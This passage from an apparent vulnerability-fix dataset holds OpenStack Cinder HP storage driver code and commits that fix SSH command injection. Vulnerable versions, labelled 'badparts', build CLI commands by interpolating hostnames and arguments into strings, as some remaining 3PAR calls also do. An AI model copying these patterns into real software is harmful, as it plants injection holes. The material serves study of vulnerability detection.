flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver\n\"\"\"\n\nimport sys\n\nfrom hp3parclient import exceptions as hpexceptions\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\nDEFAULT_ISCSI_PORT = 3260\n\n\nclass HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver):\n \"\"\"OpenStack iSCSI driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(HP3PARISCSIDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password', 'san_ip', 'san_login',\n 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'iSCSI'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n\n # map iscsi_ip-> ip_port\n # -> iqn\n # -> nsp\n self.iscsi_ips = {}\n temp_iscsi_ip = {}\n\n # use the 3PAR ip_addr list for iSCSI configuration\n if len(self.configuration.hp3par_iscsi_ips) > 0:\n # add port values to ip_addr, if necessary\n for ip_addr in self.configuration.hp3par_iscsi_ips:\n ip = ip_addr.split(':')\n if len(ip) == 1:\n temp_iscsi_ip[ip_addr] = {'ip_port': DEFAULT_ISCSI_PORT}\n elif len(ip) == 2:\n temp_iscsi_ip[ip[0]] = {'ip_port': ip[1]}\n else:\n msg = _(\"Invalid IP address format '%s'\") % ip_addr\n LOG.warn(msg)\n\n # add the single value iscsi_ip_address option to the IP dictionary.\n # This way we can see if it's a valid iSCSI IP. If it's not valid,\n # we won't use it and won't bother to report it, see below\n if (self.configuration.iscsi_ip_address not in temp_iscsi_ip):\n ip = self.configuration.iscsi_ip_address\n ip_port = self.configuration.iscsi_port\n temp_iscsi_ip[ip] = {'ip_port': ip_port}\n\n # get all the valid iSCSI ports from 3PAR\n # when found, add the valid iSCSI ip, ip port, iqn and nsp\n # to the iSCSI IP dictionary\n # ...this will also make sure ssh works.\n iscsi_ports = self.common.get_ports()['iSCSI']\n for (ip, iscsi_info) in iscsi_ports.iteritems():\n if ip in temp_iscsi_ip:\n ip_port = temp_iscsi_ip[ip]['ip_port']\n self.iscsi_ips[ip] = {'ip_port': ip_port,\n 'nsp': iscsi_info['nsp'],\n 'iqn': iscsi_info['iqn']\n }\n del temp_iscsi_ip[ip]\n\n # if the single value iscsi_ip_address option is still in the\n # temp dictionary it's because it defaults to $my_ip which doesn't\n # make sense in this context. So, if present, remove it and move on.\n if (self.configuration.iscsi_ip_address in temp_iscsi_ip):\n del temp_iscsi_ip[self.configuration.iscsi_ip_address]\n\n # lets see if there are invalid iSCSI IPs left in the temp dict\n if len(temp_iscsi_ip) > 0:\n msg = _(\"Found invalid iSCSI IP address(s) in configuration \"\n \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\\n (\", \".join(temp_iscsi_ip))\n LOG.warn(msg)\n\n if not len(self.iscsi_ips) > 0:\n msg = _('At least one valid iSCSI IP address must be set.')\n raise exception.InvalidInput(reason=(msg))\n\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Clone an existing volume.\"\"\"\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n Steps to export a volume on 3PAR\n * Get the 3PAR iSCSI iqn\n * Create a host on the 3par\n * create vlun on the 3par\n \"\"\"\n self.common.client_login()\n\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n self.common.client_logout()\n\n iscsi_ip = self._get_iscsi_ip(host['name'])\n iscsi_ip_port = self.iscsi_ips[iscsi_ip]['ip_port']\n iscsi_target_iqn = self.iscsi_ips[iscsi_ip]['iqn']\n info = {'driver_volume_type': 'iscsi',\n 'data': {'target_portal': \"%s:%s\" %\n (iscsi_ip, iscsi_ip_port),\n 'target_iqn': iscsi_target_iqn,\n 'target_lun': vlun['lun'],\n 'target_discovered': True\n }\n }\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['initiator'])\n self.common.client_logout()\n\n def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n (persona_id, domain, hostname, iscsi_iqn)\n out = self.common._cli_run(cmd, None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n\n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n self.common._cli_run('createhost -iscsi -add %s %s'\n % (hostname, iscsi_iqn), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n # make sure we don't have the host already\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['iSCSIPaths']:\n self._modify_3par_iscsi_host(hostname, connector['initiator'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_iscsi_host(hostname,\n connector['initiator'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def _get_iscsi_ip(self, hostname):\n \"\"\"Get an iSCSI IP address to use.\n\n Steps to determine which IP address to use.\n * If only one IP address, return it\n * If there is an active vlun, return the IP associated with it\n * Return IP with fewest active vluns\n \"\"\"\n if len(self.iscsi_ips) == 1:\n return self.iscsi_ips.keys()[0]\n\n # if we currently have an active port, use it\n nsp = self._get_active_nsp(hostname)\n\n if nsp is None:\n # no active vlun, find least busy port\n nsp = self._get_least_used_nsp(self._get_iscsi_nsps())\n if nsp is None:\n msg = _(\"Least busy iSCSI port not found, \"\n \"using first iSCSI port in list.\")\n LOG.warn(msg)\n return self.iscsi_ips.keys()[0]\n\n return self._get_ip_using_nsp(nsp)\n\n def _get_iscsi_nsps(self):\n \"\"\"Return the list of candidate nsps.\"\"\"\n nsps = []\n for value in self.iscsi_ips.values():\n nsps.append(value['nsp'])\n return nsps\n\n def _get_ip_using_nsp(self, nsp):\n \"\"\"Return IP assiciated with given nsp.\"\"\"\n for (key, value) in self.iscsi_ips.items():\n if value['nsp'] == nsp:\n return key\n\n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n info = line.split(\",\")\n if info and len(info) > 4:\n return info[4]\n\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n result = self.common._cli_run('showvlun -a -showcols Port', None)\n\n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\n for nsp in nspss:\n # initialize counts to zero\n nsp_counts[nsp] = 0\n\n current_least_used_nsp = None\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n nsp = line.strip()\n if nsp in nsp_counts:\n nsp_counts[nsp] = nsp_counts[nsp] + 1\n\n # identify key (nsp) of least used nsp\n current_smallest_count = sys.maxint\n for (nsp, count) in nsp_counts.iteritems():\n if count < current_smallest_count:\n current_least_used_nsp = nsp\n current_smallest_count = count\n\n return current_least_used_nsp\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp_lefthand.py": {"changes": [{"diff": "\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "add": 3, "remove": 4, "filename": "/cinder/volume/drivers/san/hp_lefthand.py", "badparts": [" cliq_arg_strings = []", " cliq_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cliq_arg_strings)", " return self._run_ssh(cmd, check_exit_code)"], "goodparts": [" cmd_list = [verb]", " cmd_list.append(\"%s=%s\" % (k, v))", " return self._run_ssh(cmd_list, check_exit_code)"]}], "source": "\n \"\"\" HP Lefthand SAN ISCSI Driver. The driver communicates to the backend aka Cliq via SSH to perform all the operations on the SAN. \"\"\" from lxml import etree from cinder import exception from cinder.openstack.common import log as logging from cinder.volume.drivers.san.san import SanISCSIDriver LOG=logging.getLogger(__name__) class HpSanISCSIDriver(SanISCSIDriver): \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes. We use the CLIQ interface, over SSH. Rough overview of CLIQ commands used: :createVolume: (creates the volume) :getVolumeInfo: (to discover the IQN etc) :getClusterInfo: (to discover the iSCSI target IP address) :assignVolumeChap: (exports it with CHAP security) The 'trick' here is that the HP SAN enforces security by default, so normally a volume mount would need both to configure the SAN in the volume layer and do the mount on the compute layer. Multi-layer operations are not catered for at the moment in the cinder architecture, so instead we share the volume using CHAP at volume creation time. Then the mount need only use those CHAP credentials, so can take place exclusively in the compute layer. \"\"\" device_stats={} def __init__(self, *args, **kwargs): super(HpSanISCSIDriver, self).__init__(*args, **kwargs) self.cluster_vip=None def _cliq_run(self, verb, cliq_args, check_exit_code=True): \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\" cliq_arg_strings=[] for k, v in cliq_args.items(): cliq_arg_strings.append(\" %s=%s\" %(k, v)) cmd=verb +''.join(cliq_arg_strings) return self._run_ssh(cmd, check_exit_code) def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True): \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\" cliq_args['output']='XML' (out, _err)=self._cliq_run(verb, cliq_args, check_cliq_result) LOG.debug(_(\"CLIQ command returned %s\"), out) result_xml=etree.fromstring(out) if check_cliq_result: response_node=result_xml.find(\"response\") if response_node is None: msg=(_(\"Malformed response to CLIQ command \" \"%(verb)s %(cliq_args)s. Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) result_code=response_node.attrib.get(\"result\") if result_code !=\"0\": msg=(_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \" \" Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) return result_xml def _cliq_get_cluster_info(self, cluster_name): \"\"\"Queries for info about the cluster(including IP)\"\"\" cliq_args={} cliq_args['clusterName']=cluster_name cliq_args['searchDepth']='1' cliq_args['verbose']='0' result_xml=self._cliq_run_xml(\"getClusterInfo\", cliq_args) return result_xml def _cliq_get_cluster_vip(self, cluster_name): \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\" cluster_xml=self._cliq_get_cluster_info(cluster_name) vips=[] for vip in cluster_xml.findall(\"response/cluster/vip\"): vips.append(vip.attrib.get('ipAddress')) if len(vips)==1: return vips[0] _xml=etree.tostring(cluster_xml) msg=(_(\"Unexpected number of virtual ips for cluster \" \" %(cluster_name)s. Result=%(_xml)s\") % {'cluster_name': cluster_name, '_xml': _xml}) raise exception.VolumeBackendAPIException(data=msg) def _cliq_get_volume_info(self, volume_name): \"\"\"Gets the volume info, including IQN\"\"\" cliq_args={} cliq_args['volumeName']=volume_name result_xml=self._cliq_run_xml(\"getVolumeInfo\", cliq_args) volume_attributes={} volume_node=result_xml.find(\"response/volume\") for k, v in volume_node.attrib.items(): volume_attributes[\"volume.\" +k]=v status_node=volume_node.find(\"status\") if status_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"status.\" +k]=v permission_node=volume_node.find(\"permission\") if permission_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"permission.\" +k]=v LOG.debug(_(\"Volume info: %(volume_name)s=> %(volume_attributes)s\") % {'volume_name': volume_name, 'volume_attributes': volume_attributes}) return volume_attributes def create_volume(self, volume): \"\"\"Creates a volume.\"\"\" cliq_args={} cliq_args['clusterName']=self.configuration.san_clustername if self.configuration.san_thin_provision: cliq_args['thinProvision']='1' else: cliq_args['thinProvision']='0' cliq_args['volumeName']=volume['name'] if int(volume['size'])==0: cliq_args['size']='100MB' else: cliq_args['size']='%sGB' % volume['size'] self._cliq_run_xml(\"createVolume\", cliq_args) volume_info=self._cliq_get_volume_info(volume['name']) cluster_name=volume_info['volume.clusterName'] iscsi_iqn=volume_info['volume.iscsiIqn'] cluster_interface='1' if not self.cluster_vip: self.cluster_vip=self._cliq_get_cluster_vip(cluster_name) iscsi_portal=self.cluster_vip +\":3260,\" +cluster_interface model_update={} model_update['provider_location']=(\"%s %s %s\" % (iscsi_portal, iscsi_iqn, 0)) return model_update def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Creates a volume from a snapshot.\"\"\" raise NotImplementedError() def create_snapshot(self, snapshot): \"\"\"Creates a snapshot.\"\"\" raise NotImplementedError() def delete_volume(self, volume): \"\"\"Deletes a volume.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['prompt']='false' try: volume_info=self._cliq_get_volume_info(volume['name']) except exception.ProcessExecutionError: LOG.error(\"Volume did not exist. It will not be deleted\") return self._cliq_run_xml(\"deleteVolume\", cliq_args) def local_path(self, volume): msg=_(\"local_path not supported\") raise exception.VolumeBackendAPIException(data=msg) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. HP VSA requires a volume to be assigned to a server. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } \"\"\" self._create_server(connector) cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"assignVolumeToServer\", cliq_args) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } def _create_server(self, connector): cliq_args={} cliq_args['serverName']=connector['host'] out=self._cliq_run_xml(\"getServerInfo\", cliq_args, False) response=out.find(\"response\") result=response.attrib.get(\"result\") if result !='0': cliq_args={} cliq_args['serverName']=connector['host'] cliq_args['initiator']=connector['initiator'] self._cliq_run_xml(\"createServer\", cliq_args) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Unassign the volume from the host.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args) def get_volume_stats(self, refresh): if refresh: self._update_backend_status() return self.device_stats def _update_backend_status(self): data={} backend_name=self.configuration.safe_get('volume_backend_name') data['volume_backend_name']=backend_name or self.__class__.__name__ data['driver_version']='1.0' data['reserved_percentage']=0 data['storage_protocol']='iSCSI' data['vendor_name']='Hewlett-Packard' result_xml=self._cliq_run_xml(\"getClusterInfo\",{}) cluster_node=result_xml.find(\"response/cluster\") total_capacity=cluster_node.attrib.get(\"spaceTotal\") free_capacity=cluster_node.attrib.get(\"unprovisionedSpace\") GB=1073741824 data['total_capacity_gb']=int(total_capacity) / GB data['free_capacity_gb']=int(free_capacity) / GB self.device_stats=data ", "sourceWithComments": "# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nHP Lefthand SAN ISCSI Driver.\n\nThe driver communicates to the backend aka Cliq via SSH to perform all the\noperations on the SAN.\n\"\"\"\nfrom lxml import etree\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume.drivers.san.san import SanISCSIDriver\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass HpSanISCSIDriver(SanISCSIDriver):\n \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes.\n\n We use the CLIQ interface, over SSH.\n\n Rough overview of CLIQ commands used:\n\n :createVolume: (creates the volume)\n\n :getVolumeInfo: (to discover the IQN etc)\n\n :getClusterInfo: (to discover the iSCSI target IP address)\n\n :assignVolumeChap: (exports it with CHAP security)\n\n The 'trick' here is that the HP SAN enforces security by default, so\n normally a volume mount would need both to configure the SAN in the volume\n layer and do the mount on the compute layer. Multi-layer operations are\n not catered for at the moment in the cinder architecture, so instead we\n share the volume using CHAP at volume creation time. Then the mount need\n only use those CHAP credentials, so can take place exclusively in the\n compute layer.\n \"\"\"\n\n device_stats = {}\n\n def __init__(self, *args, **kwargs):\n super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n self.cluster_vip = None\n\n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n cliq_arg_strings = []\n for k, v in cliq_args.items():\n cliq_arg_strings.append(\" %s=%s\" % (k, v))\n cmd = verb + ''.join(cliq_arg_strings)\n\n return self._run_ssh(cmd, check_exit_code)\n\n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n cliq_args['output'] = 'XML'\n (out, _err) = self._cliq_run(verb, cliq_args, check_cliq_result)\n\n LOG.debug(_(\"CLIQ command returned %s\"), out)\n\n result_xml = etree.fromstring(out)\n if check_cliq_result:\n response_node = result_xml.find(\"response\")\n if response_node is None:\n msg = (_(\"Malformed response to CLIQ command \"\n \"%(verb)s %(cliq_args)s. Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n result_code = response_node.attrib.get(\"result\")\n\n if result_code != \"0\":\n msg = (_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \"\n \" Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n return result_xml\n\n def _cliq_get_cluster_info(self, cluster_name):\n \"\"\"Queries for info about the cluster (including IP)\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = cluster_name\n cliq_args['searchDepth'] = '1'\n cliq_args['verbose'] = '0'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", cliq_args)\n\n return result_xml\n\n def _cliq_get_cluster_vip(self, cluster_name):\n \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\"\n cluster_xml = self._cliq_get_cluster_info(cluster_name)\n\n vips = []\n for vip in cluster_xml.findall(\"response/cluster/vip\"):\n vips.append(vip.attrib.get('ipAddress'))\n\n if len(vips) == 1:\n return vips[0]\n\n _xml = etree.tostring(cluster_xml)\n msg = (_(\"Unexpected number of virtual ips for cluster \"\n \" %(cluster_name)s. Result=%(_xml)s\") %\n {'cluster_name': cluster_name, '_xml': _xml})\n raise exception.VolumeBackendAPIException(data=msg)\n\n def _cliq_get_volume_info(self, volume_name):\n \"\"\"Gets the volume info, including IQN\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume_name\n result_xml = self._cliq_run_xml(\"getVolumeInfo\", cliq_args)\n\n # Result looks like this:\n #\n # \n # \n # \n # \n # \n # \n #\n\n # Flatten the nodes into a dictionary; use prefixes to avoid collisions\n volume_attributes = {}\n\n volume_node = result_xml.find(\"response/volume\")\n for k, v in volume_node.attrib.items():\n volume_attributes[\"volume.\" + k] = v\n\n status_node = volume_node.find(\"status\")\n if status_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"status.\" + k] = v\n\n # We only consider the first permission node\n permission_node = volume_node.find(\"permission\")\n if permission_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"permission.\" + k] = v\n\n LOG.debug(_(\"Volume info: %(volume_name)s => %(volume_attributes)s\") %\n {'volume_name': volume_name,\n 'volume_attributes': volume_attributes})\n return volume_attributes\n\n def create_volume(self, volume):\n \"\"\"Creates a volume.\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = self.configuration.san_clustername\n\n if self.configuration.san_thin_provision:\n cliq_args['thinProvision'] = '1'\n else:\n cliq_args['thinProvision'] = '0'\n\n cliq_args['volumeName'] = volume['name']\n if int(volume['size']) == 0:\n cliq_args['size'] = '100MB'\n else:\n cliq_args['size'] = '%sGB' % volume['size']\n\n self._cliq_run_xml(\"createVolume\", cliq_args)\n\n volume_info = self._cliq_get_volume_info(volume['name'])\n cluster_name = volume_info['volume.clusterName']\n iscsi_iqn = volume_info['volume.iscsiIqn']\n\n #TODO(justinsb): Is this always 1? Does it matter?\n cluster_interface = '1'\n\n if not self.cluster_vip:\n self.cluster_vip = self._cliq_get_cluster_vip(cluster_name)\n iscsi_portal = self.cluster_vip + \":3260,\" + cluster_interface\n\n model_update = {}\n\n # NOTE(jdg): LH volumes always at lun 0 ?\n model_update['provider_location'] = (\"%s %s %s\" %\n (iscsi_portal,\n iscsi_iqn,\n 0))\n\n return model_update\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n raise NotImplementedError()\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n raise NotImplementedError()\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['prompt'] = 'false' # Don't confirm\n try:\n volume_info = self._cliq_get_volume_info(volume['name'])\n except exception.ProcessExecutionError:\n LOG.error(\"Volume did not exist. It will not be deleted\")\n return\n self._cliq_run_xml(\"deleteVolume\", cliq_args)\n\n def local_path(self, volume):\n msg = _(\"local_path not supported\")\n raise exception.VolumeBackendAPIException(data=msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host. HP VSA requires a volume to be assigned\n to a server.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n \"\"\"\n self._create_server(connector)\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"assignVolumeToServer\", cliq_args)\n\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n\n def _create_server(self, connector):\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n out = self._cliq_run_xml(\"getServerInfo\", cliq_args, False)\n response = out.find(\"response\")\n result = response.attrib.get(\"result\")\n if result != '0':\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n cliq_args['initiator'] = connector['initiator']\n self._cliq_run_xml(\"createServer\", cliq_args)\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Unassign the volume from the host.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args)\n\n def get_volume_stats(self, refresh):\n if refresh:\n self._update_backend_status()\n\n return self.device_stats\n\n def _update_backend_status(self):\n data = {}\n backend_name = self.configuration.safe_get('volume_backend_name')\n data['volume_backend_name'] = backend_name or self.__class__.__name__\n data['driver_version'] = '1.0'\n data['reserved_percentage'] = 0\n data['storage_protocol'] = 'iSCSI'\n data['vendor_name'] = 'Hewlett-Packard'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", {})\n cluster_node = result_xml.find(\"response/cluster\")\n total_capacity = cluster_node.attrib.get(\"spaceTotal\")\n free_capacity = cluster_node.attrib.get(\"unprovisionedSpace\")\n GB = 1073741824\n\n data['total_capacity_gb'] = int(total_capacity) / GB\n data['free_capacity_gb'] = int(free_capacity) / GB\n self.device_stats = data\n"}}, "msg": "Tidy up the SSH call to avoid injection attacks for HP's driver\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string.\n\nAnd modify the interface of _cli_run, there is no need for a extra argument.\n\nfix bug 1192971\nChange-Id: Iff6a3ecb64feccae1b29164117576cab9943200a"}, "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e": {"url": "https://api.github.com/repos/etaivan/stx-cinder-hpe3iscsi/commits/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "html_url": "https://github.com/etaivan/stx-cinder-hpe3iscsi/commit/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "sha": "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "keyword": "command injection check", "diff": "diff --git a/cinder/tests/test_eqlx.py b/cinder/tests/test_eqlx.py\nindex 61f9dc32b..ac815e191 100644\n--- a/cinder/tests/test_eqlx.py\n+++ b/cinder/tests/test_eqlx.py\n@@ -187,7 +187,7 @@ def test_initialize_connection(self):\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\ndiff --git a/cinder/volume/drivers/eqlx.py b/cinder/volume/drivers/eqlx.py\nindex b5e7fa4f2..e86c11092 100644\n--- a/cinder/volume/drivers/eqlx.py\n+++ b/cinder/volume/drivers/eqlx.py\n@@ -392,7 +392,7 @@ def initialize_connection(self, volume, connector):\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "message": "", "files": {"/cinder/tests/test_eqlx.py": {"changes": [{"diff": "\n self.driver._eql_execute('volume', 'select', volume['name'], 